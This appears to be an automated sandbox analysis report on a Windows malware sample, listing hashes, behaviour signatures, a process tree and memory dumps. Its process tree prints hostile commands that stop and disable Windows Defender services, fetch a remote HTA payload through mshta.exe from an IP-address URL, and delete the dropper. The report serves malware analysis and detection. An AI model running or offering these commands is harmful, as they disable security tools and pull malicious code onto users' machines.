Analysis

  • max time kernel
    150s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    11-09-2024 04:20

General

  • Target

    d999b09fd0ad1ef963ed1af0246a8110_JaffaCakes118.exe

  • Size

    2.3MB

  • MD5

    d999b09fd0ad1ef963ed1af0246a8110

  • SHA1

    e34036f5fc0b7b3e41e3ec054ca0e8ff31d93d35

  • SHA256

    b9ed117523b02cc9130d82ddb9e151f37474a8049e5938a4af15ab1713548821

  • SHA512

    9106683ff7bf304980ecc09d23789dd3879d0d42a55027d87f5f13e577d23082ffef2dd73defd8e39964f195359214015cbac7f036cc7aa351fac260aab00e09

  • SSDEEP

    49152:kWlGYm7UMfEL8295VM9hmljWXZU+7Z3JZX+++NpbE:kPB7xfEL8s5mOaVZ3z+++NpbE

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=ELZYPTFV&2=i-s&3=67&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d999b09fd0ad1ef963ed1af0246a8110_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\d999b09fd0ad1ef963ed1af0246a8110_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2760
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3044
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:920
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2096
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1728
    • C:\Users\Admin\AppData\Roaming\jimsga.exe
      C:\Users\Admin\AppData\Roaming\jimsga.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:776
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2820
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:748
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2784
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1196
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=ELZYPTFV&2=i-s&3=67&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:1972
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\D999B0~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:1204

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Roaming\jimsga.exe

    Filesize

    2.3MB

    MD5

    d999b09fd0ad1ef963ed1af0246a8110

    SHA1

    e34036f5fc0b7b3e41e3ec054ca0e8ff31d93d35

    SHA256

    b9ed117523b02cc9130d82ddb9e151f37474a8049e5938a4af15ab1713548821

    SHA512

    9106683ff7bf304980ecc09d23789dd3879d0d42a55027d87f5f13e577d23082ffef2dd73defd8e39964f195359214015cbac7f036cc7aa351fac260aab00e09

  • memory/776-76-0x0000000000400000-0x0000000000867000-memory.dmp

    Filesize

    4.4MB

  • memory/776-82-0x0000000000400000-0x0000000000867000-memory.dmp

    Filesize

    4.4MB

  • memory/2112-1-0x0000000000330000-0x000000000038A000-memory.dmp

    Filesize

    360KB

  • memory/2112-0-0x0000000000400000-0x0000000000867000-memory.dmp

    Filesize

    4.4MB

  • memory/2112-55-0x0000000000B80000-0x0000000000B81000-memory.dmp

    Filesize

    4KB

  • memory/2112-65-0x0000000000230000-0x0000000000231000-memory.dmp

    Filesize

    4KB

  • memory/2112-64-0x0000000000220000-0x0000000000221000-memory.dmp

    Filesize

    4KB

  • memory/2112-63-0x0000000003470000-0x0000000003472000-memory.dmp

    Filesize

    8KB

  • memory/2112-62-0x0000000003480000-0x0000000003482000-memory.dmp

    Filesize

    8KB

  • memory/2112-61-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-60-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-59-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-58-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-57-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-56-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-54-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-53-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-52-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-51-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-50-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-49-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-48-0x0000000000C30000-0x0000000000C31000-memory.dmp

    Filesize

    4KB

  • memory/2112-47-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-46-0x0000000000C50000-0x0000000000C51000-memory.dmp

    Filesize

    4KB

  • memory/2112-45-0x0000000000C20000-0x0000000000C21000-memory.dmp

    Filesize

    4KB

  • memory/2112-44-0x0000000000BE0000-0x0000000000BE1000-memory.dmp

    Filesize

    4KB

  • memory/2112-43-0x0000000000BF0000-0x0000000000BF1000-memory.dmp

    Filesize

    4KB

  • memory/2112-42-0x0000000000C00000-0x0000000000C01000-memory.dmp

    Filesize

    4KB

  • memory/2112-41-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-40-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

    Filesize

    4KB

  • memory/2112-39-0x0000000000B60000-0x0000000000B61000-memory.dmp

    Filesize

    4KB

  • memory/2112-38-0x0000000000B90000-0x0000000000B91000-memory.dmp

    Filesize

    4KB

  • memory/2112-37-0x00000000003D0000-0x00000000003D1000-memory.dmp

    Filesize

    4KB

  • memory/2112-36-0x00000000003E0000-0x00000000003E1000-memory.dmp

    Filesize

    4KB

  • memory/2112-35-0x00000000003F0000-0x00000000003F1000-memory.dmp

    Filesize

    4KB

  • memory/2112-34-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-33-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-32-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-31-0x0000000003480000-0x0000000003481000-memory.dmp

    Filesize

    4KB

  • memory/2112-30-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-29-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-28-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-27-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-26-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-25-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-24-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-23-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-22-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-21-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-20-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-19-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-18-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-17-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-16-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-15-0x0000000000290000-0x0000000000291000-memory.dmp

    Filesize

    4KB

  • memory/2112-14-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-13-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-12-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-11-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-10-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-9-0x0000000003490000-0x0000000003491000-memory.dmp

    Filesize

    4KB

  • memory/2112-8-0x00000000003B0000-0x00000000003B1000-memory.dmp

    Filesize

    4KB

  • memory/2112-7-0x0000000000390000-0x0000000000391000-memory.dmp

    Filesize

    4KB

  • memory/2112-6-0x00000000003A0000-0x00000000003A1000-memory.dmp

    Filesize

    4KB

  • memory/2112-5-0x0000000000280000-0x0000000000281000-memory.dmp

    Filesize

    4KB

  • memory/2112-4-0x0000000000240000-0x0000000000241000-memory.dmp

    Filesize

    4KB

  • memory/2112-3-0x0000000000250000-0x0000000000251000-memory.dmp

    Filesize

    4KB

  • memory/2112-2-0x0000000000260000-0x0000000000261000-memory.dmp

    Filesize

    4KB

  • memory/2112-74-0x0000000004870000-0x0000000004CD7000-memory.dmp

    Filesize

    4.4MB

  • memory/2112-73-0x0000000004870000-0x0000000004CD7000-memory.dmp

    Filesize

    4.4MB

  • memory/2112-79-0x0000000000400000-0x0000000000867000-memory.dmp

    Filesize

    4.4MB

  • memory/2112-78-0x0000000000330000-0x000000000038A000-memory.dmp

    Filesize

    360KB